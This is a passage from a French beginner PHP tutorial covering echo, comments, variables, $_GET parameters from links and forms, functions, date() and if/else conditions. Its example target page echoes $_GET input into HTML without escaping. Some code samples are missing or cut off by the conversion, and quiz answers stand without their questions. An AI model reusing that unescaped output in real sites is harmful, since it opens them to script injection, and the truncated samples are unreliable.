Si vous utilisez Notepad++, sélectionnez "PHP File (*.php)" dans la fenêtre pour enregistrer.
Pour tester votre page PHP : démarrez WAMP si ce n'est déjà fait. Allez dans le menu "Localhost", la page d'accueil
s'ouvre. Là, si vous avez bien créé le dossier "tests" dans le répertoire www comme indiqué au chapitre précédent,
vous devriez voir un lien vers le dossier "tests". Cliquez dessus.
Une page web s'ouvre indiquant tous les fichiers qui se trouvent dans le dossier "tests". Vous devriez avoir le fichier
"affichertexte.php". Cliquez dessus : votre ordinateur génère alors le code PHP puis ouvre la page. Vous avez le
résultat devant vos yeux
Cliquez sur le lien "Essayer !" : vous devriez avoir la même chose.
Essayer !
Si Mais vous verrez bientôt l'intérêt de cette fonction. Pour le moment, on constate juste que ça écrit du texte.
Comme vous le voyez, le code PHP est dans la balise <?php ?>
Ce qui nous intéresse est à l'intérieur, il s'agit de :
"echo", c'est l'instruction, le mot qui donne un ordre à l'ordinateur. Ici, l'ordre est "Afficher le texte".
Ensuite, entre guillemets, il y a le texte à afficher. On met toujours le texte entre guillemets, ça permet à l'ordinateur
de repérer ce qu'on lui demande d'afficher.
Enfin, la ligne finit par un point-virgule ;. Ce signe doit être placé à la fin de chaque instruction. A chaque fois que
vous écrirez une instruction en PHP, vous devrez écrire un ; à la fin. Cela permet d'indiquer à l'ordinateur que c'est la
fin de l'instruction.
Il ne faut jamais oublier le point-virgule. Si jamais ça arrive, vous aurez le message d'erreur : "Parse Error"
Notez que ça plante uniquement si votre code PHP fait plus d'une ligne (ça sera tout le temps le cas). Donc prenez
l'habitude de toujours mettre un ";" à la fin des instructions.
Si on traduit ce code en français, ça donnerait : Afficher le texte : "Celle-ci a été écrite entièrement en PHP." (Fin
d'instruction)
On a aussi le droit de demander d'afficher des balises. Par exemple le code suivant fonctionne :
Code : PHP
"uniquement" sera affiché en gras grâce à la présence des balises <strong> et </strong>
Bonne question. Si vous mettez un guillemet, ça veut dire pour l'ordinateur que le texte à afficher s'arrête là. Ca va
donc faire planter votre beau code
La solution consiste à faire précéder le guillemet d'un backslash \ :
Code : PHP
Je vous ai à peu près tout dit sur la fonction echo. A vous de vous amuser à écrire n'importe quoi (bon ok c'est pas
super drôle comme jeu ).
Essayez par exemple de mettre 2 ou 3 instructions echo à la suite (une par ligne). Pour que chacune s'inscrive sur une
ligne différente, pensez à mettre une balise <br /> à chaque fois !
Par exemple, vous pouvez faire :
(je vous rappelle qu'il est possible de mettre des balises HTML dans une instruction echo)
Notez qu'il existe une instruction identique appelée "print", qui fait exactement la même chose.
Alors laquelle utiliser ? C'est une question de goût, moi j'utilise echo, donc je vous apprendrai à utiliser echo
Les commentaires
Bon, mine de rien je viens de vous apprendre pas mal de choses d'un coup, ça doit vous faire un choc
D'accord ce n'était pas extraordinaire, mais vous n'allez pas tarder à comprendre toute la subtilité de la chose.
Avant de terminer ce chapitre, je tiens à vous parler de quelque chose qui à mes yeux a une très grande importance en
PHP, comme dans tout langage de programmation : les commentaires.
Un commentaire est un texte que vous mettez pour vous dans le code PHP. Ce texte est ignoré, c'est-à-dire qu'il
disparaît complètement lors de la génération de la page. Il n'y a que vous qui voyez ce texte.
C'est pour vous. Cela permet de vous y retrouver dans votre code PHP, parce que si vous n'y touchez pas pendant des
semaines et que vous y revenez, vous risquez d'être un peu perdu.
Vous pouvez écrire tout et n'importe quoi, le tout est de s'en servir à bon escient.
Pour indiquer que vous écrivez un commentaire, vous devez taper 2 slash : //. Tapez ensuite votre commentaire.
Un exemple ?
Code : PHP
<?php
echo "J'habite en Chine.<br />"; // cette ligne indique où j'habite
Je vous ai mis deux types de commentaires (ils sont écrits en vert bleuté normalement) :
A vous de voir où vous placez vos commentaires : si vous commentez une ligne précise, mieux vaut mettre le
commentaire à la fin de cette ligne. Si vous commentez plusieurs lignes, je vous conseille de placer votre commentaire
avant.
Ici les commentaires n'ont pas grande utilité, mais vous verrez comment je les utilise dans les prochains chapitres. Ils
vous seront très utiles, et vous apprendrez vite à bien vous en servir
Q.C.M.
<* *>
<% %>
<?php ?>
echo
affiche
write
Le point
Le point-virgule
Le slash
//
\\
>>
Correction !
Vous devez être en train de vous demander vraiment à quoi peut bien servir PHP... Ici c'est vrai, ça n'a pas l'air d'être
très utile, ça complique plutôt les choses.
Pourtant, vous allez voir très bientôt quel est l'intérêt de la fonction echo, et vous allez même vous rendre compte
cela permet de simplifier votre travail !
Dans le prochain chapitre on va travailler sur un autre élément fondamental en PHP : les variables. Ces petites
bébêtes sont vraiment très utiles, vous allez le voir
Les variables
Plus d'informations
Ce chapitre est un peu long, aussi n'hésitez pas à en lire seulement la moitié un jour, puis l'autre moitié un autre jour.
Il ne faut pas le prendre à la légère, car vous allez y apprendre des choses vraiment importantes. Vous allez, vers la
fin de ce chapitre, commencer à comprendre pourquoi PHP est si apprécié !
Sommaire du chapitre :
Une variable, c'est une petite information stockée en mémoire temporairement. Ca n'a pas une grande durée de vie.
En PHP, la variable (l'information) existe tant que la page est en cours de génération. Dès que la page PHP est
générée, toutes les variables sont supprimées de la mémoire car elles ne servent plus à rien.
Ce n'est donc pas un fichier qui reste stocké sur le disque dur mais une petite information temporaire.
C'est à vous de créer des variables. Vous en créez quand ça vous arrange.
Ce qu'il faut retenir, c'est qu'une variable est toujours constituée de 2 choses :
Son nom : pour pouvoir la reconnaître, vous devez donner un nom à votre variable. Par exemple
"age_du_visiteur".
Sa valeur : c'est l'information qu'elle contient, qui peut changer. Par exemple "17 ans".
Ici, je vous ai donné l'exemple d'une variable appelée "age_du_visiteur" qui a pour valeur "17 ans".
On peut modifier quand on veut la valeur de cette variable, faire des opérations dessus etc etc... Et quand on en a
besoin, on l'appelle (par son nom ), et elle nous dit gentiment la valeur qu'elle contient.
Vous allez voir que ces petites bébêtes, même si elles peuvent vous sembler encore un peu floues, seront vraiment
indispensables pour votre site en PHP.
Par exemple, vous pourrez retenir temporairement le nom du visiteur. Dans une variable "nom_du_visiteur", vous
stockez son pseudo, par exemple "M@teo21". Dès que vous en avez besoin vous pouvez l'utiliser, par exemple pour
afficher un message de bienvenue personnalisé : "Salut M@teo21 ! Bienvenue sur mon site !".
Vous vous souvenez comment on fait pour afficher du texte en PHP n'est-ce pas ? La fonction "echo" que je vous ai
fait apprendre dans le chapitre précédent va nous être très utile ici pour faire des expériences !
On va maintenant voir comment il faut faire pour utiliser des variables en PHP
Affectation et affichage
On va dans un premier temps affecter une valeur à une variable, et ensuite on affichera ce qu'elle contient. Vous allez
mieux comprendre l'intérêt d'utiliser des variables.
Ici, on va tout simplement créer une variable, et lui donner la valeur qu'on veut. Pour le fun
Code : PHP
<?php
$pseudo_du_visiteur = "Mateo21";
?>
Notez qu'on ne peut pas mettre d'espaces pour un nom de variable. A la place, utilisez un underscore _ (c'est
le symbole sous le chiffre 8 de votre clavier).
Evitez aussi les accents, les cédilles et tout autre symbole pour le nom. PHP ne les apprécie pas trop... En revanche
pour la valeur vous pouvez mettre ce que vous voulez
Il y a plusieurs nouveaux élements. D'abord, le symbole Dollar ($) : il précède toujours le nom d'une variable. C'est
comme un signe de reconnaissance si vous préférez : ça permet de dire à PHP "J'utilise une variable". Donc vous
reconnaîtrez toujours qu'il y a une variable par la présence du symbole Dollar ($).
Ensuite, il y a le signe Egal (=) : celui-là c'est logique, c'est pour dire que $pseudo_du_visiteur est égal à...
A la suite, il y a la valeur de la variable, entre guillemets puisqu'il s'agit de texte.
Enfin, il y a l'inoubliable symbole point-virgule (;), qui permet de terminer l'instruction.
Rien du tout Eh oui, tant que vous n'utilisez pas "echo", rien ne s'affiche. Là, le serveur a juste créé la variable
temporairement en mémoire, mais il n'a rien fait d'autre.
Maintenant, une variable n'est pas obligée de contenir du texte. On peut aussi y mettre des nombres ou des booléens !
Bouletquoi ?
Le texte : ça je viens de vous le montrer. Pour mettre du texte dans une variable, on le place entre guillemets
comme ceci :
Code : PHP
<?php
$pseudo_du_visiteur = "Mateo21";
?>
Les nombres : la seule différence avec le texte, c'est qu'on ne met pas de guillemets. Regardez :
Code : PHP
<?php
$nombre_de_freres = 3;
?>
Ainsi, PHP comprend qu'il s'agit d'un nombre et non pas d'un texte. Donc la seule chose à retenir, c'est que si
vous voulez stocker juste un nombre il ne faut pas mettre de guillemets
Les booléens : je suppose que la plupart d'entre vous savait déjà ce qu'étaient le texte et les nombres (du
moins j'espère ).
Mais les booléens, c'est probablement quelque chose de nouveau pour vous. En fait, ça sert à exprimer si
quelque chose est vrai (true en anglais), ou si c'est FAUX (false en anglais). Il n'y a que deux possibilités.
En PHP, il faut taper true ou false pour dire à une variable qu'elle vaut vrai ou qu'elle vaut faux. Pour ne pas
confondre avec du texte, il ne faut pas mettre de guillemets (comme pour les nombres quoi). Exemple :
Code : PHP
<?php
$je_suis_un_zero = true;
$je_suis_bon_en_php = false;
?>
Ici, j'ai créé deux variables booléennes différentes (pour que vous voyiez bien les deux possibilités).
$je_suis_un_zero vaut true (vrai), et $je_suis_bon_en_php vaut false (faux). Ca se comprend assez bien non ?
Vous vous demandez certainement à quoi peuvent bien servir les booléens ? Ca, je ne peux pas vous le dire
maintenant. Vous allez en voir l'utilité un peu plus loin, dans le chapitre sur les conditions.
C'est compris ? On peut mettre 3 types d'éléments dans une variable : texte, nombres et booléens.
Pour le texte, on le met entre guillemets.
Pour les nombres et les booléens, on ne met pas de guillemets.
Si vous avez retenu ça, vous savez ce qu'il faut. On peut passer à la suite
Allez, maintenant une petite expérience : on va utiliser la fonction echo avec des variables. C'est très simple à faire
regardez :
Code : PHP
<?php
$pseudo_du_visiteur = "Mateo21";
echo "$pseudo_du_visiteur";
?>
Essayer !
Qu'est-ce que ça affiche ? Eh oui, c'est magnifique, c'est magique : ça écrit Mateo21 !
A vous de faire vos propres essais pour vérifier que ça marche ! Changez la valeur de la variable dans la première ligne,
et ça affichera quelque chose de différent ! Une expérience tout bête en somme, mais que vous devez faire pour bien
comprendre comment les variables fonctionnent.
Avec l'instruction echo, vous pouvez donc afficher le contenu d'une variable. Mais vous n'êtes pas obligés d'afficher
uniquement la valeur de la variable !
Voilà un petit exemple qui peut être très utile :
Code : PHP
<?php
$pseudo_du_visiteur = "Mateo21";
echo "Bonjour $pseudo_du_visiteur !";
?>
Essayer !
Vous voyez, dans l'instruction echo on a écrit le texte qu'on voulait (comme on faisait dans le chapitre précédent),
mais on a mis au milieu la variable ($pseudo_du_visiteur). Lorsque la page PHP sera générée, $pseudo_du_visiteur sera
remplacé par ce qu'il contient.
Du coup, ça affichera : Bonjour Mateo21 !
Faites vos essais, en écrivant le texte que vous voulez, en affichant au milieu la valeur de 1, 2, 3 variables... Cette
technique (pas bien compliquée) sera très souvent réutilisée dans les chapitres qui suivent, alors apprenez à faire
pareil que moi !
Bon, ici on ne va travailler que sur des variables qui contiennent des nombres.
Voici les signes à connaître pour faire les 4 opérations de base (vous les trouverez sur votre pavé numérique, à droite
du clavier) :
Symbole Signification
+ Addition
- Soustraction
* Multiplication
/ Division
Code : PHP
<?php
$nombre = 2 + 4; // $nombre prend la valeur 6
$nombre = 5 - 1; // $nombre prend la valeur 4
$nombre = 3 * 5; // $nombre prend la valeur 15
$nombre = 10 / 2; // $nombre prend la valeur 5
Allez quoi, boudez pas, un peu de calcul mental ça n'a jamais fait de mal à personne
Vérifiez mes calculs, comme vous pouvez le voir il n'y a rien de bien compliqué dans tout ça.
Code : PHP
<?php
$nombre = 10;
$resultat = ($nombre + 5) * $nombre; // $resultat prend la valeur 150
?>
Elles sont là vos variables ! C'est comme ça qu'on fait pour les transmettre d'une page à une autre !
Comment ça marche ?
Eh bien c'est du pur HTML. Comme vous le savez, pour faire un lien vers une autre page on utilise la balise <a>. Par
exemple :
Code : HTML
<a href="http://www.monsite.com
/infos.php">Cliquez ici pour accéder aux infos !</a>
Eh bien, à la suite du infos.php, il faut écrire un point d'interrogation (?). Ensuite, vous tapez le nom de la variable, un
égal, puis sa valeur :
http://www.monsite.com/infos.php?jour=27
Cela va créer une variable un peu particulière : $_GET['jour'] qui aura pour valeur 27 !
Et si vous voulez créer d'autres variables, il vous suffit de les séparer par des &. Attention, dans votre code HTML, je
vous rappelle (au cas où vous ne le sauriez pas) qu'il ne faut pas écrire directement le symbole & (c'est interdit, même
si ça "a l'air" de marcher). Il faut remplacer les & par le code HTML correspondant, à savoir &
Regardez sur cet exemple :
http://www.monsite.com/infos.php?jour=27&mois=07&annee=2003&titre=Informations
Tous les & seront transformés en symboles & par le navigateur du visiteur.
Ici, 4 variables seront créées. Cela correspondrait à faire les 4 instructions suivantes :
$_GET['jour'] = 27;
$_GET['mois'] = 07;
$_GET['annee'] = 2003;
$_GET['titre'] = "Informations";
Je reconnais que ces variables ont une forme un peu bizarre, mais ne vous arrêtez pas pour ça.
On va faire un petit exemple pour que vous voyiez ce que ça donne concrètement.
Pour faire ce test, on aura besoin de 2 pages :
Code : HTML
<p>
Notez que cette page ne contient que du HTML.<br />
Voici 3 liens vers la page cible.php, avec des variables aux valeurs différentes :
</p>
<p>
<a href="cible.php?nom=Dupont&prenom=Michel">Lien vers cible.php?nom=Dupont&
amp;prenom=Michel</a><br />
<a href="cible.php?nom=Guichard&
amp;prenom=Patrick">Lien vers cible.php?nom=Guichard&prenom=Patrick</a><br />
<a href="cible.php?nom=Surret&prenom=Coralie">Lien vers cible.php?nom=Surret&
amp;prenom=Coralie</a>
</p>
Code : PHP
Bonjour !
Votre nom est <?php echo $_GET['nom']; ?> , et votre prénom est <?php echo $_GET['prenom'
Essayez donc ça !
Ce bouton ouvre la page appel.php :
Essayer !
Là surtout n'hésitez pas à faire vos propres tests pour vous familiariser avec cette transmission de variables
En fait, on dédiera un chapitre entier aux formulaires dans la partie III de ce cours de PHP (lol, quand je pense qu'on
n'en est qu'à la partie I ). En effet, c'est assez vaste et il y a quelques trucs un peu compliqués.
Je n'ai nullement envie de vous embrouiller, on va simplement s'intéresser à l'aspect le plus simple, qui vous permettra
déjà de faire quelque chose de pas mal du tout
Comme vous le savez, vous pouvez écrire n'importe quoi dedans. Notre objectif sera de récupérer ce que le visiteur a
écrit.
On va fonctionner de la même manière que tout à l'heure, avec une page appel.php (qui contiendra la zone de texte)
et une page cible.php (qui affichera ce que vous avez tapé dans la zone de texte).
Code : HTML
<p>
Cette page, elle aussi, ne contient que du HTML.<br />
Veuillez taper votre prénom :
</p>
Code : PHP
Bonjour !
<p>Si tu veux changer de prénom, <a href="appel.php">clique ici</a> pour revenir à appel.php
Essayez ça !
Essayer !
Là, vous pouvez vous amuser à l'infini à inventer n'importe quel nom (bon ok je reconnais qu'il y a mieux pour s'amuser
). Mais bon un peu de sérieux quand même, nous ce qui nous intéresse c'est "Comment que ça marche ce truc ?"
La page appel.php, c'est un formulaire. Si vous avez lu mon cours sur le (X)HTML, vous devriez savoir vous en servir.
Le seul truc à savoir, c'est que "action" indique la page à afficher (cible.php) lorsqu'on a cliqué sur le bouton, et que le
nom de la zone de texte sera le nom de la variable créée. Ici, la balise est :
Q.C.M.
Coucou !
ma_variable
Rien du tout.
<?php
$nom = "Pujol";
$prenom = "Pierre";
echo "Tu t'appelles $prenom $nom";
?>
Code : PHP
<?php
$nombre1 = 2 + 6;
$nombre2 = $nombre1 / 2;
$resultat = $nombre1 - (2 * $nombre2);
?>
-4
Correction !
Si vous avez eu un peu de mal pour ce chapitre, n'hésitez pas à le relire dans quelques heures, ou demain, vous aurez
alors certainement les idées plus claires.
A l'aide des connaissances que vous venez d'acquérir, vous êtes blindés pour les prochains chapitres (c'est du pipi de
chat à côté). Vous allez commencer à comprendre l'intérêt de tout ce que je vous apprends, les exemples concrets et
amusants sont pour bientôt
Les fonctions
Plus d'informations
En PHP, vous allez être forcément amenés un jour ou l'autre à faire des calculs, et ceux-ci risquent d'être répétitifs.
Dans le chapitre précédent je vous ai montré les calculs de base.
Ici je vais pas vous faire un cours de maths, mais plutôt vous montrer comment automatiser certaines tâches à l'aide
de fonctions. Car en PHP comme dans n'importe quel autre langage, si vous vous rendez compte que vous faites
quelque chose de répétitif, dites-vous bien qu'il y a forcément plus simple et plus rapide.
Sommaire du chapitre :
Une fonction, c'est une série d'instructions qui retourne une valeur. En gros, si vous avez besoin d'effectuer un calcul un
peu long ou complexe et répétitif, vous faites appel à une fonction :
- Toi, la fonction CalculCube, donne-moi le volume d'un cube dont l'arête mesure 4 cm.
La fonction effectue les calculs demandés puis répond :
- Ce cube a un volume de 64 cm^3.
Si vous aviez eu à le faire une seule fois, vous auriez pu vous contenter de faire les calculs comme expliqué dans le
chapitre précédent. Mais si vous aviez à le faire 5 fois ? 10 fois ? 100 fois ?
Je vais donc vous montrer par des exemples concrets pourquoi les fonctions vous seront utiles
C'est peut-être un peu fatigant de dire bonjour à chacun de ses visiteurs non ? Ca serait bien que ça le fasse
automatiquement ! Les fonctions sont justement là pour nous aider !
Regardez le code ci-dessous :
Code : PHP
<?php
$nom = "Sandra";
echo "Bonjour, $nom !<br />";
$nom = "Patrick";
echo "Bonjour, $nom !<br />";
$nom = "Claude";
echo "Bonjour, $nom !";
?>
Essayer !
Vous voyez, c'est un peu fatigant à la longue... Alors nous allons créer une fonction qui le fait toute seule à notre place
!
Code : PHP
<?php
function DireBonjour($nom)
{
echo "Bonjour $nom !<br />";
}
DireBonjour("Marie");
DireBonjour("Patrice");
DireBonjour("Edouard");
DireBonjour("Pascale");
DireBonjour("François");
DireBonjour("Benoît");
DireBonjour("Père Noël");
?>
Essayer !
Alors qu'y a-t-il de différent ici ? C'est surtout en haut qu'il y a une nouveauté : c'est la fonction. En fait, les lignes en
haut permettent de définir la fonction (son nom, ce qu'elle est capable de faire etc...)
Pour créer une fonction, vous devez taper function (ça veut dire fonction en anglais ). Ensuite, donnez un nom à
votre fonction. Par exemple, celle-ci s'appelle "DireBonjour".
Ce qui est plus particulier après, c'est ce qu'on met entre parenthèses : il y a une variable dedans. Késako ? C'est ce
qu'on appelle un paramètre : une information dont la fonction a besoin pour travailler. Ici, on doit lui indiquer le nom
de la personne pour qu'elle sache à qui s'adresser.
Vous avez peut-être remarqué que cette ligne est la seule à ne pas se terminer par un point-virgule. C'est
normal, il ne s'agit pas d'une instruction mais juste d'une "carte d'identité" de la fonction (son nom, ses paramètres...)
Ensuite, vous repérez deux symboles curieux : des accolades. En fait, elles permettent de marquer les limites de la
fonction. La fonction commence dès qu'il y a un { et se termine lorsqu'il y a un }. Entre les deux, il y a le contenu de la
fonction.
Ici, la fonction contient une seule instruction (echo). J'ai fait simple pour commencer mais vous verrez que souvent il y
a plusieurs instructions.
Voilà, la fonction est créée, vous n'avez plus besoin d'y toucher. Après, pour faire appel à elle, il suffit d'indiquer son
nom, et de préciser ses paramètres entre parenthèses (ici, on doit indiquer le nom). Enfin, il ne faut pas oublier le
fameux ; car il s'agit d'une instruction. Par exemple :
DireBonjour("Marie");
A vous d'essayer ! Créez une page avec cette fonction et dites bonjour à qui vous voulez, vous verrez : ça marche !
(encore heureux :p)
Un conseil pour que vous vous entrainiez sur les fonctions : basez-vous sur mes exemples et essayez de les
retoucher petit à petit vous-mêmes pour voir ce que ça donne. Il peut y avoir des fonctions très simples comme des
fonctions très compliquées, alors allez-y prudemment.
Allez on passe à la vitesse supérieure, vous n'avez pas encore vu tout ce qu'on peut faire avec une fonction !
Ici notre fonction va servir à faire un calcul : le calcul du volume d'un cône. Le principe est le suivant : vous donnez le
rayon et la hauteur du cône à la fonction, elle travaille et vous renvoie le volume que vous cherchiez.
Ce qui change par rapport à la première fonction qu'on a étudié ? C'est qu'ici, la fonction va retourner une valeur ! Vous
allez voir
Bon tout d'abord il faut connaître la formule pour calculer le volume d'un cône. Vous avez oublié comment on fait ?
Il faut connaître le rayon et la hauteur. Le calcul à faire pour trouver le volume est : rayon * rayon * 3.14 * hauteur *
(1/3) (je vous demandais pas de le savoir )
Vous êtes capables de comprendre le code ci-dessous normalement, si vous avez bien suivi dans le chapitre précédent.
Seul problème si on a à le faire plusieurs fois, c'est vite répétitif regardez :
Code : PHP
<?php
// calcul du volume d'un cône de rayon 5 et de hauteur 2
$volume = 5 * 5 * 3.14 * 2 * (1/3);
echo "Le volume du cône de rayon 5 et de hauteur 2 est : $volume
cm<sup>3</sup><br />";
Essayer !
En PHP, on ne met pas de virgule pour les nombres décimaux, il faut mettre un point ! Par exemple, il ne faut
pas écrire 3,14 mais 3.14 !
Nous allons donc créer une fonction VolumeCone, qui va calculer le volume du cône en fonction du rayon et de la
hauteur. Cette fonction ne va rien afficher, on veut juste qu'elle nous renvoie le volume qu'on cherche.
Regardez attentivement le code ci-dessous, il présente 2 nouveautés :
Code : PHP
<?php
// Ci-dessous, la fonction qui calcule le volume du cône
function VolumeCone($rayon, $hauteur)
{
$volume = $rayon * $rayon * 3.14 * $hauteur * (1/3); // calcul du
volume
return $volume; // indique la valeur à renvoyer, ici le volume
}
Alors ici la fonction n'est pas du tout utilisée de la même manière. Elle renvoit une valeur, donc on met cette valeur
dans une variable :
$volume = VolumeCone(3, 1);
Ensuite, on peut afficher ce que contient la variable à l'aide d'une instruction echo.
Allons ne faites pas cette tête-là voyons Je vous ai dit que la fonction renvoyait une valeur, eh bien quand vous
écrivez VolumeCone(3, 1), PHP remplace ça par la valeur que retourne la fonction ! (ici ça renvoit 9.42)
Autre nouveauté, la fonction prend deux paramètres : le rayon et la hauteur. Comme vous le voyez, on peut mettre
plusieurs paramètres, il suffit de les séparer par des virgules
Les possibilités de création de fonctions sont quasi-infinies. Il est clair que normalement vous n'allez pas avoir à créer
de fonction qui calcule le volume d'un cône (qui est assez fou pour faire ça ? ). Tout ce que je vous demande en
fait ici, c'est de comprendre qu'une fonction c'est très pratique et ça peut vous faire gagner du temps.
Accessoirement, si vous comprenez un peu comment fonctionne mon code c'est bien, si vous essayez de créer une ou
deux fonctions de test chez vous c'est encore mieux. Pas besoin d'en savoir plus, en fait nous allons voir que PHP a
Ces fonctions sont très pratiques et très nombreuses. En fait, c'est en partie là qu'est la force de PHP : ses fonctions
sont vraiment excellentes
J'ai en fait remarqué que, pratiquement à chaque fois que je m'apprêtais à écrire une fonction, celle-ci existait déjà.
Voici un petit aperçu des fonctions qui existent pour vous mettre l'eau à la bouche :
Une fonction qui permet de rechercher et de remplacer des mots dans une variable
Une fonction qui envoie un fichier sur un serveur
Une fonction qui permet de créer des images miniatures (aussi appelées thumbnails)
Une fonction qui envoie un mail avec PHP (très pratique pour faire une newsletter !)
Une fonction qui permet de modifier des images, y écrire du texte, tracer des lignes, des rectangles etc...
Une fonction qui crypte des mots de passe.
Une fonction qui renvoie l'heure, la date...
Etc etc...
Pratiquement à chaque fois, il faudra indiquer des paramètres à la fonction pour qu'elle sache sur quoi travailler.
Nous allons nous intéresser rapidement à la fonction qui renvoie l'heure et la date. Il s'agit de date.
C'est une fonction "toute prête". Vous n'avez pas à écrire "function" (le code de la fonction). En effet, vu que c'est une
fonction toute prête, PHP sait déjà comment il faut faire (pas besoin de lui réexpliquer ).
Vous avez juste besoin de donner un paramètre. Pour la fonction date, voici les 5 paramètres les plus utilisés :
Paramètre Description
H Heure
i Minute
d Jour
m Mois
Y Année
date est une fonction vraiment impressionnante, elle prend en fait beaucoup plus de paramètres (une trentaine). Vous
verrez tout ça dans la partie III quand on détaillera plus la fonction.
Code : PHP
<?php
$annee = date("Y");
echo "$annee";
?>
Code : PHP
<?php
// Enregistrons les informations de date dans des variables
$jour = date("d");
$mois = date("m");
$annee = date("Y");
$heure = date("H");
$minute = date("i");
Essayer !
Si l'heure n'était pas bonne, sachez que c'est le serveur qui donne l'heure. Et le serveur de ce site étant situé à
Paris, vous comprendrez le décalage horaire si vous habitez au Canada
L'étude de fonctions comme celle-ci durera tout une partie du cours, et ce sera une partie très intéressante (car
généralement les fonctions sont simples à utiliser et permettent de faire des choses très pratiques !).
En attendant, ce chapitre touche à sa fin, et il ne nous reste plus que quelques chapitres à traiter pour finir la
première partie ("Les bases de PHP"). Je reconnais que ces chapitres ne vous permettent pas encore de créer un site
web super méga pratique génial en PHP. Mais patience, les bonnes choses arriveront bientôt, et vous verrez que tout
ce que je vous apprends maintenant va vous être très utile dans quelques temps
Aussi ne vous découragez pas et continuez à bien suivre cette première partie, ce que vous apprenez va bientôt
prendre tout son sens.
Au fait, vous vous souvenez que, pour le calcul du volume du cône, on a utilisé le nombre Pi (3,14). Oui mais
voilà, ce n'est pas très précis.
Heureusement vous savez quoi ? Il existe une fonction en PHP qui retourne la valeur de Pi Cette fonction ne prend
pas de paramètre, pour l'appeler tapez juste Pi(). Essayez d'afficher ce nombre vous verrez !
Q.C.M.
fonction
function
declare_function
Un morceau de fonction
CalculDepenses(5, 1.25);
CalculDepenses(23 . 5);
CalculDepenses(10, 1,5);
MaFonction
La valeur de $parametre
Rien du tout
Correction !
Les conditions
Plus d'informations
Ce chapitre est d'une importance capitale. En effet, vous serez très souvent amenés à employer des "conditions".
Nota : j'aurais dû appeler ce chapitre "Structures conditionnelles", mais j'ai préféré simplifier le titre, j'espère que
vous me comprendrez
Eh bien, on a parfois besoin d'afficher des choses différentes en fonction de certaines données.
Par exemple, si c'est le matin, vous voudrez dire "bonjour" à votre visiteur, si c'est le soir il vaudrait mieux dire
"bonsoir".
C'est là qu'interviennent les conditions. Elles permettent de donner des ordres différents à PHP selon le cas. Pour notre
exemple, on lui dirait : Si c'est le matin, affiche "Bonjour". Sinon, si c'est le soir, affiche "Bonsoir". Vous allez le voir,
les conditions c'est vraiment la base pour rendre votre site dynamique, c'est à dire d'afficher des choses différentes en
fonction du visiteur, de l'heure de la journée, de la date etc etc...
Allez, on y va !
Sommaire du chapitre :
Pour étudier la structure If... Else, nous allons suivre le plan suivant :
1. Les symboles à connaître : il va d'abord falloir retenir quelques symboles qui permettent de faire des
comparaisons. Soyez attentifs car ils vous seront utiles pour les conditions.
2. La structure If... Else : c'est le gros morceau. Là vous allez voir comment fonctionne une condition avec If...
Else. Inutile de vous dire qu'il est indispensable de bien comprendre cela
3. Des conditions multiples : on compliquera un peu nos conditions. Vous allez voir en effet qu'on peut utiliser
plusieurs conditions à la fois.
4. Le cas des booléens : nous verrons ensuite qu'il existe une façon particulière d'utiliser les conditions quand on
travaille sur des booléens. Si vous ne savez pas ce que sont les booléens, revoyez le chapitre sur les variables.
5. L'astuce bonus : parce qu'il y a toujours un bonus pour récompenser ceux qui ont bien suivi jusqu'au bout
Juste avant de commencer, je dois vous montrer les symboles que l'on sera amenés à utiliser. Je vais vous faire un
petit tableau avec ces symboles et leur signification, essayez de bien les retenir ils vous seront utiles !
Symbole Signification
== Est égal à
> Est supérieur à
< Est inférieur à
>= Est supérieur ou égal à
<= Est inférieur ou égal à
!= Est différent de
Il y a deux symboles "égal" (==) sur la première ligne, et il ne faut pas confondre ça avec le simple = que je
vous ai appris dans le chapitre sur les variables. Ici, le double égal sert à tester l'égalité, à dire "Si c'est égal à..."
Dans les conditions, on utilisera toujours le double égal (==)
Les symboles "supérieur" (>) et "inférieur" (<) sont situés en bas à gauche de votre clavier.
Voici ce qu'on doit mettre dans l'ordre pour utiliser une condition :
Pour introduire une condition, on utilise le mot "If", qui en anglais signifie "Si".
On ajoute à la suite entre parenthèses la condition en elle-même (vous allez voir que vous pouvez inventer une
infinité de conditions).
Enfin, comme pour les fonctions, on ouvre des accolades à l'intérieur desquelles on mettra les instructions à
exécuter si la condition est remplie.
Code : PHP
<?php
if ($age <= 12)
{
echo "Salut gamin !";
}
?>
Ici, on demande à PHP : Si la variable $age est inférieure ou égale à 12, affiche "Salut gamin !"
Vous remarquerez que dans la quasi-totalité des cas, c'est sur une variable qu'on fait la condition.
Dans notre exemple, on travaille sur la variable $age. Ce qui compte ici, c'est qu'il y a deux possibilités : soit la
condition est remplie (l'âge est inférieur ou égal à 12 ans) et alors on affiche quelque chose ; sinon, eh bien on saute
les instructions entre accolades, on ne fait rien.
Bon on peut quand même améliorer notre exemple. On va afficher un autre message si l'âge est supérieur à 12 ans :
Code : PHP
<?php
$age = 8;
Essayer !
Bon comment marche ce code ? Tout d'abord, j'ai mis plusieurs instructions entre accolades (il ne faut pas oublier que
vous pouvez mettre plusieurs instructions).
Ensuite, vous avez remarqué que j'ai ajouté le mot "else", qui signifie en anglais "sinon". En clair, on demande : Si l'âge
est inférieur ou égal à 12 ans, fais ceci, sinon fais cela.
Essayez ce bout de code chez vous, en vous amusant à modifier la valeur de $age (sur la première ligne). Vous allez
voir que le message qui s'affiche change en fonction de l'âge que vous indiquez !
Bien entendu, vous mettez les instructions que vous voulez entre accolades. Ici par exemple j'ai affiché un message, et
j'ai donné une valeur différente à la variable $autorisation_entrer, ce qui pourrait nous servir par la suite. Par exemple
:
Code : PHP
<?php
if ($autorisation_entrer == "Oui") // SI on a l'autorisation d'entrer
{
// instructions à exécuter quand on est autorisé à entrer
}
elseif ($autorisation_entrer == "Non") // SINON SI on n'a pas
l'autorisation d'entrer
{
// instructions à exécuter quand on n'est pas autorisé à entrer
}
else // SINON (la variable ne contient ni Oui ni Non, on ne peut pas
agir)
{
echo "Euh, je ne connais pas ton âge, tu peux me le rappeler s'il te
plaît ?";
}
?>
Bon la principale nouveauté ici, c'est le mot-clé "elseif" qui signifie "Sinon si". Dans l'ordre, PHP rencontre les conditions
suivantes :
Au fait, au départ, une variable ne contient rien. Sa valeur est vide, on dit qu'elle vaut NULL, c'est-à-dire rien
du tout.
Pour vérifier si la variable est vide, vous pouvez taper : if ($variable == NULL)...
